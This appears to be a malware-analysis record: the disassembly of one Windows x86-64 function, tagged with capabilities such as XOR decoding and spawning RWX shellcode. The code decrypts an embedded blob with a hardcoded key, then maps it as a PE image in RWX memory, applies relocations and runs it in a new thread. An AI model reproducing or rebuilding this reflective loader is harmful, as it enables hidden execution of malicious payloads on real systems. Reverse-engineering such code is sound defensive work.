Function at 0x140001520
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
lea r13, [0x140005080]
xor r12d, r12d
mov r10d, 1
lea rbp, str.0X394834DHFUW34
mov r11d, 2
mov ebx, 3
sub r10, r13
sub r11, r13
sub rbx, r13
mov edi, 4
sub rdi, r13
mov r9d, r12d
movabs rsi, 0x8888888888888889
nop
lea r8, [r9 + r13]
mov rcx, r9
mov rax, rsi
mul r9
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rcx + rbp]
lea rcx, [r8 + r10]
xor byte [r8], al
mov rax, rsi
mul rcx
mov rcx, r9
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rcx + rbp + 1]
lea rcx, [r8 + r11]
xor byte [r8 + 1], al
mov rax, rsi
mul rcx
mov rcx, r9
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rcx + rbp + 2]
lea rcx, [r8 + rbx]
xor byte [r8 + 2], al
mov rax, rsi
mul rcx
mov rcx, r9
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rcx + rbp + 3]
lea rcx, [r8 + rdi]
xor byte [r8 + 3], al
mov rax, rsi
mul rcx
mov rcx, r9
add r9, 5
shr rdx, 3
imul rax, rdx, 0xf
sub rcx, rax
movzx eax, byte [rcx + rbp + 4]
xor byte [r8 + 4], al
cmp r9, 0x1ae00
jb 0x140001580
mov edx, 0x1ae00
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbp, rax
test rax, rax
jne 0x140001664
mov rcx, r13
call fcn.140001a80
xor al, al
jmp 0x14000188f
mov qword [rsp + 0x70], r14
mov r8d, 0x1ae00
mov rdx, r13
mov qword [rsp + 0x78], r15
mov rcx, rbp
call sub.VCRUNTIME140.dll_memcpy
movsxd r14, dword [rbp + 0x3c]
xor ecx, ecx
add r14, rbp
mov r9d, 0x40
mov r8d, 0x3000
mov edx, dword [r14 + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x1400016c6
mov rcx, r13
call fcn.140001a80
xor edx, edx
mov r8d, 0x8000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor al, al
jmp 0x140001885
mov r8d, dword [r14 + 0x54]
mov rdx, rbp
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov esi, r12d
cmp r12w, word [r14 + 6]
jae 0x14000172d
mov rdi, r12
nop dword [rax]
nop word [rax + rax]
movsxd rax, dword [rbp + 0x3c]
add rax, rdi
mov ecx, dword [rax + rbx + 0x118]
test ecx, ecx
je 0x14000171e
mov edx, dword [rax + rbx + 0x11c]
mov r8d, ecx
mov ecx, dword [rax + rbx + 0x114]
add rdx, rbp
add rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
movzx eax, word [r14 + 6]
inc esi
add rdi, 0x28
cmp esi, eax
jl 0x1400016f0
mov rdx, rbx
mov rcx, r14
call fcn.1400011c0
test al, al
je 0x140001814
mov r11d, dword [r14 + 0xb0]
mov rdi, rbx
sub rdi, qword [r14 + 0x30]
add r11, rbx
mov rax, qword [r11]
mov rdx, rax
shr rdx, 0x20
test edx, edx
je 0x1400017e9
mov rsi, rax
mov r15d, 0xf000
shr rsi, 0x20
mov r12d, 0xa000
nop word [rax + rax]
mov ecx, edx
lea r9, [r11 + 8]
sub rcx, 8
shr rcx, 1
test ecx, ecx
jle 0x1400017cc
mov r10d, ecx
nop dword [rax]
nop dword [rax + rax]
movzx ecx, word [r9]
movzx edx, cx
and dx, r15w
cmp dx, r12w
jne 0x1400017c2
and ecx, 0xfff
mov r8d, eax
lea rdx, [rbx + rcx]
add qword [r8 + rdx], rdi
add r9, 2
sub r10, 1
jne 0x1400017a0
add r11, rsi
mov rax, qword [r11]
mov rcx, rax
mov rsi, rax
shr rcx, 0x20
shr rsi, 0x20
mov edx, ecx
test ecx, ecx
jne 0x140001780
xor r12d, r12d
mov r8d, dword [r14 + 0x28]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
add r8, rbx
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
jne 0x140001842
mov rcx, r13
call fcn.140001a80
xor edx, edx
mov r8d, 0x8000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor al, al
jmp 0x140001885
mov edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call fcn.140001a80
xor edx, edx
mov r8d, 0x8000
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov al, 1
mov r14, qword [rsp + 0x70]
mov r15, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001a60
mov rbx, qword [rsp + 0x80]
add rsp, 0x40
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret